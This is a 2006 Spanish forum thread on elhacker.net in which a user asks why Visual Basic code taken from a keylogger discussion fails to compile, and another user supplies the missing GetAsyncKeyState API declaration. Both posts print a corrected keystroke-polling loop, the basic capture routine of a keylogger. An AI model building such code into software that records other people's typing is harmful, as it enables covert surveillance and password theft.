Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: Za3LoT en 4 Diciembre 2006, 17:57 PM

Título: Duda con GetAsynKeyState
Publicado por: Za3LoT en 4 Diciembre 2006, 17:57 PM
Es que cuando pongo el getasynkeystate me dice error de compilacion: Procedimiento sub o Function no definido.

Es de este codigo que alguien puso aqui sobre los keyloggers:

Dim i As Integer, a As Integer
For i = 0 To 256
a = GetAsyncKeyState(i)
If a  = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next


Lo pues en el form load y puse el end sub.

Que puede ser?

S4Lu2!!
Título: Re: Duda con GetAsynKeyState
Publicado por: sch3m4 en 4 Diciembre 2006, 19:17 PM
según lo que dices, es que no has declarado la api, el codigo un poco mas optimizado se quedaría:


Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

private sub Form_Load()

Dim i As long
For i = 0 To 256
If GetAsyncKeyState(i)  = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
end sub